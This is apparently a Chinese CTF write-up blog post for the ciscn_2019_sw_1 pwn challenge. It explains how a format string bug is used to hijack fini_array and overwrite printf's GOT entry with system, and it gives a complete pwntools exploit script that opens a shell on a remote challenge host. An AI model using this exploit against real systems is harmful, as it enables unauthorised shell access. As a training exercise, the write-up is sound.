格式化字符串+fini_array劫持

这篇博客详细介绍了如何利用格式化字符串漏洞劫持fini_array,实现无限循环,并通过修改printf_got为system_got来执行/bin/sh,从而控制系统。文章提供了具体的exploit代码,展示了在CISCN 2019 SW 1挑战中的漏洞利用过程。
摘要由CSDN通过智能技术生成

新知识点

fini_array劫持:幽默的大师傅的boke

题目是上的ciscn_2019_sw_1

一次格式化字符串很明显。

利用思路

1.格式化字符串劫持fini_array,实现格式化字符串无限循环。

2.改printf_got为system_got,输入/bin/sh.

exp:

from pwn import *
from LibcSearcher import *

context.log_level='debug'
context.arch='amd64'
#p=process('ciscn_2019_sw_1')
p=remote('node3.buuoj.cn',26667)
elf=ELF('ciscn_2019_sw_1')
fini_array=0x804979C
system_plt=elf.sym['system']#0x80483d0
printf_got=elf.got['printf']#0x804989c
main=elf.sym['main']#0x8048534
payload=p32(fini_array)+p32(fini_array+2)+p32(printf_got)+p32(printf_got+2)
payload+='%34084c%4$hn'+'%33488c%5$hn'+'%31692c%6$hn'+'%33844c%7$hn'
print payload
p.recvuntil('name?\n')
p.sendline(payload)
p.recvuntil('name?\n')
p.sendline('/bin/sh\x00')
p.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值